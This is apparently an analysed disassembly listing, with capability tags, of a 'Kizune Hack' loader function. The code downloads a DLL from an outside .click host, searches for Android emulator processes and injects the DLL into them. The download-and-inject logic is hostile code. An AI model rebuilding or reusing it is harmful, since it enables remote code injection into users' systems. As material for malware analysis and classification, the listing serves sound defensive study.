Function at 0x4012f0
Capabilities:
Download url
Enumerate process modules
Execute command
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402dc1
mov eax, dword fs:[0]
push eax
mov eax, 0x1280
call fcn.00402d50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Welcome_to_Kizune_Hack
push 0x401c10
call fcn.004019f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
push str.version.txt
lea ecx, [ebp - 0x1284]
mov dword [ebp - 0x220], str.AndroidEmulatorEx.exe
mov dword [ebp - 0x21c], str.AndroidEmulatorEn.exe
call fcn.004017a0
push 0x4033a0
lea ecx, [ebp - 0x126c]
mov dword [ebp - 4], 0
call fcn.004017a0
push 0x4033a0
lea ecx, [ebp - 0x1254]
mov byte [ebp - 4], 1
call fcn.004017a0
push 0
push 0
push 0x4033a4
push str.https:__deocotienmuahost.click_lIbCryptto_duc_x86.dll
push 0
mov byte [ebp - 4], 2
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push str.C:duc_x86.dll
lea ecx, [ebp - 0x123c]
call fcn.004017a0
lea eax, [ebp - 0x1224]
mov byte [ebp - 4], 3
push eax
push 0x1000
lea eax, [ebp - 0x1220]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x40140d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_enumerate_processes
push 0x401c10
call fcn.004019f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, 1
jmp 0x4015ed
xor ebx, ebx
test dword [ebp - 0x1224], 0xfffffffc
jbe 0x40159c
nop
mov eax, dword [ebp + ebx*4 - 0x1220]
push eax
push 0
push 0x410
mov dword [ebp - 0x1288], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x128c], esi
test esi, esi
je 0x40158a
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x401583
lea esi, [ebp - 0x220]
nop dword [eax]
mov edi, dword [esi]
lea ecx, [ebp - 0x218]
mov eax, edi
nop word [eax + eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4014c6
test dx, dx
je 0x4014c2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4014c6
add ecx, 4
add eax, 4
test dx, dx
jne 0x4014a0
xor eax, eax
jmp 0x4014cb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401566
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Found_target_process
push 0x401e70
push dword [ebp - 0x1288]
call fcn.00401c40
mov edx, edi
mov ecx, eax
call fcn.00401c40
mov edx, str._with_PID
mov ecx, eax
call fcn.00401c40
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
cmp dword [ebp - 0x1228], 7
lea edx, [ebp - 0x123c]
mov ecx, dword [ebp - 0x1288]
cmova edx, dword [ebp - 0x123c]
call fcn.00401170
test al, al
jne 0x4016fa
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_inject_DLL_into_process
push 0x401c10
call fcn.004019f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x40156c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 4
lea eax, [ebp - 0x218]
cmp esi, eax
jne 0x401490
mov esi, dword [ebp - 0x128c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1224]
inc ebx
shr eax, 2
cmp ebx, eax
jb 0x401420
mov edx, str.Failed_to_find_target_processes_or_inject_DLL_into_any_process
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401c10
call fcn.004019f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x3e8
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Done
push 0x401c10
call fcn.004019f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor esi, esi
mov ecx, dword [ebp - 0x1228]
cmp ecx, 7
jbe 0x40162d
mov edx, dword [ebp - 0x123c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401623
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f4
push ecx
push edx
call fcn.00401edd
add esp, 8
mov ecx, dword [ebp - 0x1240]
xor eax, eax
mov dword [ebp - 0x122c], 0
mov dword [ebp - 0x1228], 7
mov word [ebp - 0x123c], ax
cmp ecx, 7
jbe 0x401686
mov edx, dword [ebp - 0x1254]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40167c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f4
push ecx
push edx
call fcn.00401edd
add esp, 8
mov ecx, dword [ebp - 0x1258]
cmp ecx, 7
jbe 0x4016c2
mov edx, dword [ebp - 0x126c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4016b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f4
push ecx
push edx
call fcn.00401edd
add esp, 8
mov ecx, dword [ebp - 0x1270]
cmp ecx, 7
jbe 0x40171a
mov edx, dword [ebp - 0x1284]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401710
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401710
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push dword [ebp - 0x128c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, str.DLL_injected_successfully_
jmp 0x4015a1
push ecx
push edx
call fcn.00401edd
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401e9f
mov esp, ebp
pop ebp
ret